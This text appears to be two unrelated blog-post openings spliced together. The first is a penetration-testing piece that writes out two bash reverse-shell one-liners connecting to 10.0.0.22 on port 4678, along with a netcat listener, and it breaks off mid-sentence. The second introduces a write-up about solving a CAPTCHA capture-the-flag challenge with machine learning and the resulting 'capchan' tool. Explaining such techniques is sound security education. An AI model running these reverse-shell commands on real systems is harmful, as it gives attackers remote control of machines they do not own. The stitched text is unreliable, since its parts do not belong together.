Context, context, context; Alright, imagine this – you’re on an engagement, find a few vulnerabilities, run a few exploits and next thing you know you have Remote Code Execution (RCE). Now, like muscle memory, your next instinct would be to get a shell. Running the following is fairly simple:
sh -i >& /dev/tcp/10.0.0.22/4678 0>&1 Then listen in and…
nc -lvnp 4678 ... Huh? Sorry, I mean run this, and…
0<&196;exec 196<>/dev/tcp/10.0.0.22/4678; sh <&196 >&196 2>&196 …and…
A few years ago, I tried my hand at the, now retired, CAPTCHA Forest CTF, which was part of the nullcon HackIM 2019. I wanted to solve it using computer vision and machine learning. This started me on a path of discovery and incremental improvements that finally resulted in capchan, a generic CAPTCHA to text tool.
This post is broken into four parts:
The first CTF The second CTF Neural Network Fundamentals Creating capchan ATTEMPT_ZERO Starting the CTF – I connected to the netcat instance, but after staring at hexadecimal, I immediately closed it and moved on to try another CTF.